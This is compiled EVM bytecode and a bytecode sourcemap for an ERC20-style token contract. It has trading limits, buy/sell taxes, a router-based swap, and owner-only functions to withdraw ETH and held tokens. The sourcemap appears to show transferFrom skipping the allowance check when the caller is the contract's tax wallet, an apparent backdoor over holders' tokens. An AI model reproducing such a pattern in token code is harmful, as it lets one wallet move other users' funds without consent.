9050610912575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610964573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610988919061180a565b50600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b031633146109eb5760405162461bcd60e51b81526004016103b790611676565b6040516370a0823160e01b81523060048201525f90610a6c90606490610a669085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a3c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a609190611829565b90611213565b90611291565b9050826001600160a01b031663a9059cbb610a8e5f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610ad8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afc919061180a565b50505050565b5f6103e5338484610c9f565b5f546001600160a01b03163314610b375760405162461bcd60e51b81526004016103b790611676565b5f4711610b42575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610b79573d5f803e3d5ffd5b50565b6001600160a01b038316610bde5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b7565b6001600160a01b038216610c3f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d035760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b7565b6001600160a01b038216610d655760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b7565b5f8111610dc65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b7565b5f80546001600160a01b03858116911614801590610df157505f546001600160a01b03848116911614155b1561109e576012546001600160a01b0390811690851603610e3557610e326064610a66600954600c5411610e2757600554610e2b565b6007545b8590611213565b90505b6012546001600160a01b038581169116148015610e6057506011546001600160a01b03848116911614155b8015610e8457506001600160a01b0383165f9081526003602052604090205460ff16155b15610fba57601254600160a01b900460ff16610ed95760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016103b7565b600d54821115610f2b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103b7565b600e5482610f4d856001600160a01b03165f9081526001602052604090205490565b610f579190611840565b1115610fa55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103b7565b600c8054905f610fb483611853565b91905055505b6012546001600160a01b038481169116148015610fe057506001600160a01b0384163014155b1561100d5761100a6064610a66600a54600c541161100057600654610e2b565b6008548590611213565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561104357506012546001600160a01b038581169116145b80156110585750601254600160b01b900460ff165b80156110675750600b54600c54115b1561109c57600f548111156110935761109361108e84611089846010546112d2565b6112d2565b6112e6565b61109c47611456565b505b801561111657305f908152600160205260409020546110bd9082611491565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061110d9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461113890836114ef565b6001600160a01b0385165f9081526001602052604090205561117b61115d83836114ef565b6001600160a01b0385165f9081526001602052604090205490611491565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c485856114ef565b60405190815260200160405180910390a350505050565b5f81848411156111fe5760405162461bcd60e51b81526004016103b7919061155c565b505f61120a848661186b565b95945050505050565b5f825f0361122257505f6103e9565b5f61122d83856117ad565b90508261123a858361187e565b146104b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b7565b5f6104b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611530565b5f8183116112e057826104b7565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061132c5761132c61189d565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611383573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113a791906117c4565b816001815181106113ba576113ba61189d565b6001600160a01b0392831660209182029290920101526011546113e09130911684610b7c565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114189085905f908690309042906004016118b1565b5f604051808303815f87803b15801561142f575f80fd5b505af1158015611441573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561148d573d5f803e3d5ffd5b5050565b5f8061149d8385611840565b9050838110156104b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b7565b5f6104b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111db565b5f81836115505760405162461bcd60e51b81526004016103b7919061155c565b505f61120a848661187e565b5f602080835283518060208501525f5b818110156115885785810183015185820160400152820161156c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b79575f80fd5b5f80604083850312156115cd575f80fd5b82356115d8816115a8565b946020939093013593505050565b5f805f606084860312156115f8575f80fd5b8335611603816115a8565b92506020840135611613816115a8565b929592945050506040919091013590565b5f60208284031215611634575f80fd5b81356104b7816115a8565b5f8060408385031215611650575f80fd5b823561165b816115a8565b9150602083013561166b816115a8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116f957815f19048211156116df576116df6116ab565b808516156116ec57918102915b93841c93908002906116c4565b509250929050565b5f8261170f575060016103e9565b8161171b57505f6103e9565b8160018114611731576002811461173b57611757565b60019150506103e9565b60ff84111561174c5761174c6116ab565b50506001821b6103e9565b5060208310610133831016604e8410600b841016171561177a575081810a6103e9565b61178483836116bf565b805f1904821115611797576117976116ab565b029392505050565b5f6104b760ff841683611701565b80820281158282048414176103e9576103e96116ab565b5f602082840312156117d4575f80fd5b81516104b7816115a8565b5f805f606084860312156117f1575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561181a575f80fd5b815180151581146104b7575f80fd5b5f60208284031215611839575f80fd5b5051919050565b808201808211156103e9576103e96116ab565b5f60018201611864576118646116ab565b5060010190565b818103818111156103e9576103e96116ab565b5f8261189857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119015784516001600160a01b0316835293830193918301916001016118dc565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220658af7769dc0220eb1334ed63e5191ca51416b4c0c60d703be4d25f08fad459e64736f6c63430008180033
Deployed Bytecode Sourcemap
3679:7531:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11099:108;;;;;;;;;;;;;:::i;:::-;;5419:83;;;;;;;;;;-1:-1:-1;5489:5:0;;;;;;;;;;;-1:-1:-1;;;5489:5:0;;;;5419:83;;;;5489:5;5419:83;:::i;:::-;;;;;;;;6252:161;;;;;;;;;;-1:-1:-1;6252:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6252:161:0;1023:187:1;4696:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4696:45:0;1215:177:1;5696:95:0;;;;;;;;;;;;;:::i;6421:359::-;;;;;;;;;;-1:-1:-1;6421:359:0;;;;;:::i;:::-;;:::i;5605:83::-;;;;;;;;;;-1:-1:-1;5605:83:0;;4343:1;2000:36:1;;1988:2;1973:18;5605:83:0;1858:184:1;5799:119:0;;;;;;;;;;-1:-1:-1;5799:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5892:18:0;5865:7;5892:18;;;:9;:18;;;;;;;5799:119;2657:148;;;;;;;;;;;;;:::i;10931:160::-;;;;;;;;;;;;;:::i;4528:47::-;;;;;;;;;;;;;;;;7135:767;;;;;;;;;;-1:-1:-1;7135:767:0;;;;;:::i;:::-;;:::i;2443:79::-;;;;;;;;;;-1:-1:-1;2481:7:0;2508:6;2443:79;;-1:-1:-1;;;;;2508:6:0;;;2445:51:1;;2433:2;2418:18;2443:79:0;2299:203:1;4582:49:0;;;;;;;;;;;;;;;;8283:273;;;;;;;;;;-1:-1:-1;8283:273:0;;;;;:::i;:::-;;:::i;5926:167::-;;;;;;;;;;-1:-1:-1;5926:167:0;;;;;:::i;:::-;;:::i;4638:51::-;;;;;;;;;;;;;;;;6101:143;;;;;;;;;;-1:-1:-1;6101:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6209:18:0;;;6182:7;6209:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6101:143;8117:154;;;;;;;;;;;;;:::i;11099:108::-;2570:6;;-1:-1:-1;;;;;2570:6:0;278:10;2570:22;2562:67;;;;-1:-1:-1;;;2562:67:0;;;;;;;:::i;:::-;;;;;;;;;11152:11:::1;:18:::0;;-1:-1:-1;;;;11181:18:0;-1:-1:-1;;;11181:18:0;;;11099:108::o;6252:161::-;6327:4;6344:39;278:10;6367:7;6376:6;6344:8;:39::i;:::-;-1:-1:-1;6401:4:0;6252:161;;;;;:::o;5696:95::-;5749:7;4404:13;4343:1;4404:2;:13;:::i;:::-;4386:31;;:15;:31;:::i;:::-;5769:14;;5696:95;:::o;6421:359::-;6510:4;6527:27;6537:4;6543:2;6547:6;6527:9;:27::i;:::-;6562:10;;-1:-1:-1;;;;;6562:10:0;278;2894:6;6559:57;;;;;6591:25;6594:7;2481;2508:6;-1:-1:-1;;;;;2508:6:0;;2443:79;6594:7;-1:-1:-1;;;;;2894:6:0;278:10;2894:6;;2813:95;6591:25;6590:26;6559:57;6556:73;;;-1:-1:-1;6625:4:0;6618:11;;6556:73;6641:109;6650:4;6656;6662:87;6698:6;6662:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6662:17:0;;;;;;:11;:17;;;;;;;;278:10;6662:31;;;;;;;;;;:35;:87::i;:::-;6641:8;:109::i;:::-;-1:-1:-1;6768:4:0;6421:359;;;;;;:::o;2657:148::-;2570:6;;-1:-1:-1;;;;;2570:6:0;278:10;2570:22;2562:67;;;;-1:-1:-1;;;2562:67:0;;;;;;;:::i;:::-;2764:1:::1;2748:6:::0;;2727:40:::1;::::0;-1:-1:-1;;;;;2748:6:0;;::::1;::::0;2727:40:::1;::::0;2764:1;;2727:40:::1;2795:1;2778:19:::0;;-1:-1:-1;;;;;;2778:19:0::1;::::0;;2657:148::o;10931:160::-;2570:6;;-1:-1:-1;;;;;2570:6:0;278:10;2570:22;2562:67;;;;-1:-1:-1;;;2562:67:0;;;;;;;:::i;:::-;4404:13:::1;4343:1;4404:2;:13;:::i;:::-;4386:31;::::0;:15:::1;:31;:::i;:::-;10985:12;:22:::0;4404:13:::1;4343:1;4404:2;:13;:::i;:::-;4386:31;::::0;:15:::1;:31;:::i;:::-;11018:14;:22:::0;11056:27:::1;4404:13;4343:1;4404:2;:13;:::i;:::-;4386:31;::::0;:15:::1;:31;:::i;:::-;11056:27;::::0;1361:25:1;;;1349:2;1334:18;11056:27:0::1;;;;;;;10931:160::o:0;7135:767::-;2570:6;;-1:-1:-1;;;;;2570:6:0;278:10;2570:22;2562:67;;;;-1:-1:-1;;;2562:67:0;;;;;;;:::i;:::-;7217:11:::1;::::0;-1:-1:-1;;;7217:11:0;::::1;;;7216:12;7208:47;;;::::0;-1:-1:-1;;;7208:47:0;;5145:2:1;7208:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;7208:47:0::1;4943:347:1::0;7208:47:0::1;7266:15;:89:::0;;-1:-1:-1;;;;;;7266:89:0::1;7311:42;7266:89:::0;;::::1;::::0;;;7366:58:::1;::::0;7383:4:::1;::::0;4404:13:::1;4343:1;4404:2;:13;:::i;:::-;4386:31;::::0;:15:::1;:31;:::i;7366:58::-;7469:15;;;;;;;;;-1:-1:-1::0;;;;;7469:15:0::1;-1:-1:-1::0;;;;;7469:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7451:55:0::1;;7515:4;7522:15;;;;;;;;;-1:-1:-1::0;;;;;7522:15:0::1;-1:-1:-1::0;;;;;7522:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7451:94;::::0;-1:-1:-1;;;;;;7451:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;7451:94:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;7451:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7435:13;:110:::0;;-1:-1:-1;;;;;7435:110:0;;::::1;-1:-1:-1::0;;;;;;7435:110:0;;::::1;;::::0;;7556:15:::1;::::0;::::1;:31;7595:21;7626:4;7632:24;7626:4:::0;-1:-1:-1;;;;;5892:18:0;5865:7;5892:18;;;:9;:18;;;;;;;5799:119;7632:24:::1;7657:1;7659::::0;7661:7:::1;2481::::0;2508:6;-1:-1:-1;;;;;2508:6:0;;2443:79;7661:7:::1;7556:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7556:129:0;;;-1:-1:-1;;;;;6219:15:1;;;7556:129:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;7669:15:0::1;6433:19:1::0;;;6426:35;6135:19;;7556:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7704:13:0::1;::::0;-1:-1:-1;;;;;7704:13:0::1;::::0;-1:-1:-1;7696:36:0::1;;;::::0;::::1;;7750:13;::::0;7781:15:::1;::::0;7743:71:::1;::::0;-1:-1:-1;;;7743:71:0;;-1:-1:-1;;;;;7781:15:0;;::::1;7743:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;7750:13:0;::::1;::::0;7743:29:::1;::::0;6930:18:1;;7743:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7825:10:0::1;:26:::0;;-1:-1:-1;;;;;7825:26:0;;::::1;-1:-1:-1::0;;;;;;7825:26:0;;::::1;::::0;::::1;::::0;;:10:::1;7862:25:::0;;;:19:::1;:25;::::0;;;;:32;;-1:-1:-1;;7862:32:0::1;7825:26:::0;7862:32:::1;::::0;;7135:767::o;8283:273::-;2570:6;;-1:-1:-1;;;;;2570:6:0;278:10;2570:22;2562:67;;;;-1:-1:-1;;;2562:67:0;;;;;;;:::i;:::-;8389:55:::1;::::0;-1:-1:-1;;;8389:55:0;;8438:4:::1;8389:55;::::0;::::1;2445:51:1::0;8371:15:0::1;::::0;8389:105:::1;::::0;8490:3:::1;::::0;8389:82:::1;::::0;8463:7;;-1:-1:-1;;;;;8389:40:0;::::1;::::0;::::1;::::0;2418:18:1;;8389:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:73:::0;::::1;:82::i;:::-;:100:::0;::::1;:105::i;:::-;8371:123;;8512:8;-1:-1:-1::0;;;;;8505:25:0::1;;8531:7;2481::::0;2508:6;-1:-1:-1;;;;;2508:6:0;;2443:79;8531:7:::1;8505:43;::::0;-1:-1:-1;;;;;;8505:43:0::1;::::0;;;;;;-1:-1:-1;;;;;6975:32:1;;;8505:43:0::1;::::0;::::1;6957:51:1::0;7024:18;;;7017:34;;;6930:18;;8505:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8360:196;8283:273:::0;;:::o;5926:167::-;6004:4;6021:42;278:10;6045:9;6056:6;6021:9;:42::i;8117:154::-;2570:6;;-1:-1:-1;;;;;2570:6:0;278:10;2570:22;2562:67;;;;-1:-1:-1;;;2562:67:0;;;;;;;:::i;:::-;8202:1:::1;8178:21;:25;8170:34;;;::::0;::::1;;2481:7:::0;2508:6;;8215:48:::1;::::0;-1:-1:-1;;;;;2508:6:0;;;;8241:21:::1;8215:48:::0;::::1;;;::::0;8241:21;;8215:48;2481:7;8215:48;8241:21;2508:6;8215:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8117:154::o:0;6792:335::-;-1:-1:-1;;;;;6885:19:0;;6877:68;;;;-1:-1:-1;;;6877:68:0;;7735:2:1;6877:68:0;;;7717:21:1;7774:2;7754:18;;;7747:30;7813:34;7793:18;;;7786:62;-1:-1:-1;;;7864:18:1;;;7857:34;7908:19;;6877:68:0;7533:400:1;6877:68:0;-1:-1:-1;;;;;6964:21:0;;6956:68;;;;-1:-1:-1;;;6956:68:0;;8140:2:1;6956:68:0;;;8122:21:1;8179:2;8159:18;;;8152:30;8218:34;8198:18;;;8191:62;-1:-1:-1;;;8269:18:1;;;8262:32;8311:19;;6956:68:0;7938:398:1;6956:68:0;-1:-1:-1;;;;;7035:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7087:32;;1361:25:1;;;7087:32:0;;1334:18:1;7087:32:0;;;;;;;6792:335;;;:::o;8601:1839::-;-1:-1:-1;;;;;8689:18:0;;8681:68;;;;-1:-1:-1;;;8681:68:0;;8543:2:1;8681:68:0;;;8525:21:1;8582:2;8562:18;;;8555:30;8621:34;8601:18;;;8594:62;-1:-1:-1;;;8672:18:1;;;8665:35;8717:19;;8681:68:0;8341:401:1;8681:68:0;-1:-1:-1;;;;;8768:16:0;;8760:64;;;;-1:-1:-1;;;8760:64:0;;8949:2:1;8760:64:0;;;8931:21:1;8988:2;8968:18;;;8961:30;9027:34;9007:18;;;9000:62;-1:-1:-1;;;9078:18:1;;;9071:33;9121:19;;8760:64:0;8747:399:1;8760:64:0;8852:1;8843:6;:10;8835:64;;;;-1:-1:-1;;;8835:64:0;;9353:2:1;8835:64:0;;;9335:21:1;9392:2;9372:18;;;9365:30;9431:34;9411:18;;;9404:62;-1:-1:-1;;;9482:18:1;;;9475:39;9531:19;;8835:64:0;9151:405:1;8835:64:0;8910:17;2508:6;;-1:-1:-1;;;;;8944:15:0;;;2508:6;;8944:15;;;;:32;;-1:-1:-1;2481:7:0;2508:6;-1:-1:-1;;;;;8963:13:0;;;2508:6;;8963:13;;8944:32;8940:1144;;;9004:13;;-1:-1:-1;;;;;9004:13:0;;;8996:21;;;;8993:131;;9048:76;9120:3;9048:67;9070:15;;9060:9;;:25;9059:55;;9100:14;;9059:55;;;9087:12;;9059:55;9048:6;;:10;:67::i;:76::-;9036:88;;8993:131;9153:13;;-1:-1:-1;;;;;9145:21:0;;;9153:13;;9145:21;:55;;;;-1:-1:-1;9184:15:0;;-1:-1:-1;;;;;9170:30:0;;;9184:15;;9170:30;;9145:55;:84;;;;-1:-1:-1;;;;;;9206:23:0;;;;;;:19;:23;;;;;;;;9204:25;9145:84;9141:376;;;9259:11;;-1:-1:-1;;;9259:11:0;;;;9251:43;;;;-1:-1:-1;;;9251:43:0;;9763:2:1;9251:43:0;;;9745:21:1;9802:2;9782:18;;;9775:30;-1:-1:-1;;;9821:18:1;;;9814:50;9881:18;;9251:43:0;9561:344:1;9251:43:0;9331:12;;9321:6;:22;;9313:60;;;;-1:-1:-1;;;9313:60:0;;10112:2:1;9313:60:0;;;10094:21:1;10151:2;10131:18;;;10124:30;10190:27;10170:18;;;10163:55;10235:18;;9313:60:0;9910:349:1;9313:60:0;9426:14;;9416:6;9400:13;9410:2;-1:-1:-1;;;;;5892:18:0;5865:7;5892:18;;;:9;:18;;;;;;;5799:119;9400:13;:22;;;;:::i;:::-;:40;;9392:79;;;;-1:-1:-1;;;9392:79:0;;10596:2:1;9392:79:0;;;10578:21:1;10635:2;10615:18;;;10608:30;10674:28;10654:18;;;10647:56;10720:18;;9392:79:0;10394:350:1;9392:79:0;9490:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9141:376;9542:13;;-1:-1:-1;;;;;9536:19:0;;;9542:13;;9536:19;:43;;;;-1:-1:-1;;;;;;9559:20:0;;9574:4;9559:20;;9536:43;9533:174;;;9612:79;9687:3;9612:70;9634:16;;9624:9;;:26;9623:58;;9666:15;;9623:58;;;9652:13;;9612:6;;:10;:70::i;:79::-;9600:91;;9533:174;9772:4;9723:28;5892:18;;;:9;:18;;;;;;9798:6;;-1:-1:-1;;;9798:6:0;;;;9797:7;:30;;;;-1:-1:-1;9814:13:0;;-1:-1:-1;;;;;9808:19:0;;;9814:13;;9808:19;9797:30;:45;;;;-1:-1:-1;9831:11:0;;-1:-1:-1;;;9831:11:0;;;;9797:45;:79;;;;;9858:18;;9846:9;;:30;9797:79;9793:280;;;9923:17;;9900:20;:40;9897:106;;;9942:61;9951:51;9955:6;9963:38;9967:20;9989:11;;9963:3;:38::i;:::-;9951:3;:51::i;:::-;9942:8;:61::i;:::-;10022:35;10035:21;10022:12;:35::i;:::-;8978:1106;8940:1144;10099:11;;10096:161;;10167:4;10149:24;;;;:9;:24;;;;;;:39;;10178:9;10149:28;:39::i;:::-;10142:4;10124:24;;;;:9;:24;;;;;;;:64;;;;10206:39;;-1:-1:-1;;;;;10206:39:0;;;;;;;10235:9;1361:25:1;;1349:2;1334:18;;1215:177;10206:39:0;;;;;;;;10096:161;-1:-1:-1;;;;;10283:15:0;;;;;;:9;:15;;;;;;:27;;10303:6;10283:19;:27::i;:::-;-1:-1:-1;;;;;10267:15:0;;;;;;:9;:15;;;;;:43;10335:40;10353:21;:6;10364:9;10353:10;:21::i;:::-;-1:-1:-1;;;;;10335:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10321:13:0;;;;;;;:9;:13;;;;;:54;;;;10391:41;;;10410:21;:6;10421:9;10410:10;:21::i;:::-;10391:41;;1361:25:1;;;1349:2;1334:18;10391:41:0;;;;;;;8670:1770;8601:1839;;;:::o;1335:190::-;1421:7;1457:12;1449:6;;;;1441:29;;;;-1:-1:-1;;;1441:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1481:9:0;1493:5;1497:1;1493;:5;:::i;:::-;1481:17;1335:190;-1:-1:-1;;;;;1335:190:0:o;1533:246::-;1591:7;1615:1;1620;1615:6;1611:47;;-1:-1:-1;1645:1:0;1638:8;;1611:47;1668:9;1680:5;1684:1;1680;:5;:::i;:::-;1668:17;-1:-1:-1;1713:1:0;1704:5;1708:1;1668:17;1704:5;:::i;:::-;:10;1696:56;;;;-1:-1:-1;;;1696:56:0;;11446:2:1;1696:56:0;;;11428:21:1;11485:2;11465:18;;;11458:30;11524:34;11504:18;;;11497:62;-1:-1:-1;;;11575:18:1;;;11568:31;11616:19;;1696:56:0;11244:397:1;1787:132:0;1845:7;1872:39;1876:1;1879;1872:39;;;;;;;;;;;;;;;;;:3;:39::i;7910:99::-;7967:7;7995:1;7993;:3;7992:9;;8000:1;7992:9;;;-1:-1:-1;7998:1:0;7910:99;-1:-1:-1;7910:99:0:o;10448:475::-;5025:6;:13;;-1:-1:-1;;;;5025:13:0;-1:-1:-1;;;5025:13:0;;;10542:16:::1;::::0;;10556:1:::1;10542:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10542:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10542:16:0::1;10518:40;;10587:4;10569;10574:1;10569:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10569:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10613:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10613:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10569:7;;10613:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10603:4;10608:1;10603:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10603:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10678:15:::1;::::0;10646:62:::1;::::0;10663:4:::1;::::0;10678:15:::1;10696:11:::0;10646:8:::1;:62::i;:::-;10719:15;::::0;:196:::1;::::0;-1:-1:-1;;;10719:196:0;;-1:-1:-1;;;;;10719:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10800:11;;10719:15:::1;::::0;10842:4;;10869::::1;::::0;10889:15:::1;::::0;10719:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5061:6:0;:14;;-1:-1:-1;;;;5061:14:0;;;-1:-1:-1;;;;10448:475:0:o;8017:92::-;8074:10;;:27;;-1:-1:-1;;;;;8074:10:0;;;;:27;;;;;8094:6;;8074:10;:27;:10;:27;8094:6;8074:10;:27;;;;;;;;;;;;;;;;;;;;;8017:92;:::o;1004:179::-;1062:7;;1094:5;1098:1;1094;:5;:::i;:::-;1082:17;;1123:1;1118;:6;;1110:46;;;;-1:-1:-1;;;1110:46:0;;13097:2:1;1110:46:0;;;13079:21:1;13136:2;13116:18;;;13109:30;13175:29;13155:18;;;13148:57;13222:18;;1110:46:0;12895:351:1;1191:136:0;1249:7;1276:43;1280:1;1283;1276:43;;;;;;;;;;;;;;;;;:3;:43::i;1927:189::-;2013:7;2048:12;2041:5;2033:28;;;;-1:-1:-1;;;2033:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2072:9:0;2084:5;2088:1;2084;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3261:127::-;3322:10;3317:3;3313:20;3310:1;3303:31;3353:4;3350:1;3343:15;3377:4;3374:1;3367:15;3393:416;3482:1;3519:5;3482:1;3533:270;3554:7;3544:8;3541:21;3533:270;;;3613:4;3609:1;3605:6;3601:17;3595:4;3592:27;3589:53;;;3622:18;;:::i;:::-;3672:7;3662:8;3658:22;3655:55;;;3692:16;;;;3655:55;3771:22;;;;3731:15;;;;3533:270;;;3537:3;3393:416;;;;;:::o;3814:806::-;3863:5;3893:8;3883:80;;-1:-1:-1;3934:1:1;3948:5;;3883:80;3982:4;3972:76;;-1:-1:-1;4019:1:1;4033:5;;3972:76;4064:4;4082:1;4077:59;;;;4150:1;4145:130;;;;4057:218;;4077:59;4107:1;4098:10;;4121:5;;;4145:130;4182:3;4172:8;4169:17;4166:43;;;4189:18;;:::i;:::-;-1:-1:-1;;4245:1:1;4231:16;;4260:5;;4057:218;;4359:2;4349:8;4346:16;4340:3;4334:4;4331:13;